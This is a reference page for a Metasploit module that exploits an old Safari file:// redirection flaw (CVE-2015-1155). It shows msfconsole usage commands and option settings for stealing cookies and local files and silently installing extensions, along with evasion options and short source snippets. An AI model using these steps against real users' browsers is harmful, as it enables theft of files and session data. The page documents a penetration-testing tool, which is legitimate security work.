Mac OS X Safari file:// Redirection Sandbox Escape - Metasploit
This page contains detailed information about how to use the auxiliary/gather/safari_file_url_navigation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mac OS X Safari file:// Redirection Sandbox Escape
Module: auxiliary/gather/safari_file_url_navigation
Source code: modules/auxiliary/gather/safari_file_url_navigation.rb
Disclosure date: 2014-01-16
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-1155
Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a "state management issue" that allows a browser window to be navigated to a file:// URL. By dropping and loading a malicious .webarchive file, an attacker can read arbitrary files, inject cross-domain Javascript, and silently install Safari extensions.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/safari_file_url_navigation
msf auxiliary(safari_file_url_navigation) > show targets
... a list of targets ...
msf auxiliary(safari_file_url_navigation) > set TARGET target-id
msf auxiliary(safari_file_url_navigation) > show options
... show and set options ...
msf auxiliary(safari_file_url_navigation) > exploit
Go back to menu.
Msfconsole Usage
Here is how the gather/safari_file_url_navigation auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/safari_file_url_navigation
msf6 auxiliary(gather/safari_file_url_navigation) > show info
Name: Mac OS X Safari file:// Redirection Sandbox Escape
Module: auxiliary/gather/safari_file_url_navigation
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-01-16
Provided by:
joev <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNLOAD_PATH /msf.webarchive yes The path to download the webarchive
EXTENSION_ID com.betafish.adblockforsafari-UAMUU4S2D9 no The ID of the Safari extension to install
EXTENSION_URL https://data.getadblock.com/safari/AdBlock.safariextz no HTTP URL of a Safari extension to install
FILENAME msf.webarchive yes The file name
FILE_URLS no Additional file:// URLs to steal. $USER will be resolved to the username.
GRABPATH grab no The URI to receive the UXSS'ed data
HTTPPORT 8080 yes The HTTP server port
INSTALL_EXTENSION false yes Silently install a Safari extensions (requires click)
PASVPORT 0 no The local PASV data port to listen on (0 is random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8081 yes The local port to use for the FTP server
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STEAL_COOKIES true yes Enable cookie stealing
STEAL_FILES true yes Enable local file stealing
URIPATH no The URI to use for this exploit (default is random)
Description:
Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to
a "state management issue" that allows a browser window to be
navigated to a file:// URL. By dropping and loading a malicious
.webarchive file, an attacker can read arbitrary files, inject
cross-domain Javascript, and silently install Safari extensions.
References:
http://www.zerodayinitiative.com/advisories/ZDI-15-228
https://nvd.nist.gov/vuln/detail/CVE-2015-1155
https://support.apple.com/en-us/HT204826
Module Options
This is a complete list of options available in the gather/safari_file_url_navigation auxiliary module:
msf6 auxiliary(gather/safari_file_url_navigation) > show options
Module options (auxiliary/gather/safari_file_url_navigation):
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNLOAD_PATH /msf.webarchive yes The path to download the webarchive
EXTENSION_ID com.betafish.adblockforsafari-UAMUU4S2D9 no The ID of the Safari extension to install
EXTENSION_URL https://data.getadblock.com/safari/AdBlock.safariextz no HTTP URL of a Safari extension to install
FILENAME msf.webarchive yes The file name
FILE_URLS no Additional file:// URLs to steal. $USER will be resolved to the username.
GRABPATH grab no The URI to receive the UXSS'ed data
HTTPPORT 8080 yes The HTTP server port
INSTALL_EXTENSION false yes Silently install a Safari extensions (requires click)
PASVPORT 0 no The local PASV data port to listen on (0 is random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8081 yes The local port to use for the FTP server
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STEAL_COOKIES true yes Enable cookie stealing
STEAL_FILES true yes Enable local file stealing
URIPATH no The URI to use for this exploit (default is random)
Advanced Options
Here is a complete list of advanced options supported by the gather/safari_file_url_navigation auxiliary module:
msf6 auxiliary(gather/safari_file_url_navigation) > show advanced
Module advanced options (auxiliary/gather/safari_file_url_navigation):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/safari_file_url_navigation module can do:
msf6 auxiliary(gather/safari_file_url_navigation) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/safari_file_url_navigation auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/safari_file_url_navigation) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid JSON stored in <FILE>
Here is a relevant code snippet related to the "Invalid JSON stored in <FILE>" error message:
57: file = record_data(data, cli)
58: send_response(cli, '')
59: print_good "data #{data.keys.join(',')} received and stored to #{file}"
60: rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
61: file = record_data(data_str, cli)
62: print_error "Invalid JSON stored in #{file}"
63: send_response(cli, '')
64: end
65: elsif req.uri =~ /#{popup_path}$/
66: send_response(cli, 200, 'OK', popup_html)
67: else
zlib support was not detected, yet the HTTP::compression option was set. Don't do that!
Here is a relevant code snippet related to the "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" error message:
277: # exception is only raised if the DisableGzip advanced option has not been
278: # set.
279: #
280: def use_zlib
281: if !Rex::Text.zlib_present? && datastore['HTTP::compression']
282: fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
283: end
284: end
285:
286: #
287: # Returns the configured (or random, if not configured) URI path
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6644 Merged Pull Request: Preserve default types for datastore options
- #5781 Merged Pull Request: Relocate Webarchive into the Exploit namespace, fixes #5717
- #5767 Merged Pull Request: Fix ZDI ref on sandbox escape module
- #5593 Merged Pull Request: Add module for CVE-2015-1155 OS X Safari vulnerability
References
See Also
Check also the following modules related to this module:
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
- auxiliary/gather/android_browser_file_theft
- auxiliary/gather/android_htmlfileprovider
- auxiliary/gather/darkcomet_filedownloader
- auxiliary/gather/firefox_pdfjs_file_theft
- auxiliary/gather/ie_sandbox_findfiles
- auxiliary/gather/mikrotik_winbox_fileread
- auxiliary/gather/nuuo_cms_file_download
- auxiliary/gather/pulse_secure_file_disclosure
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/gather/flash_rosetta_jsonp_url_disclosure
- auxiliary/scanner/http/smt_ipmi_url_redirect_traversal
- auxiliary/scanner/sap/sap_icm_urlscan
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.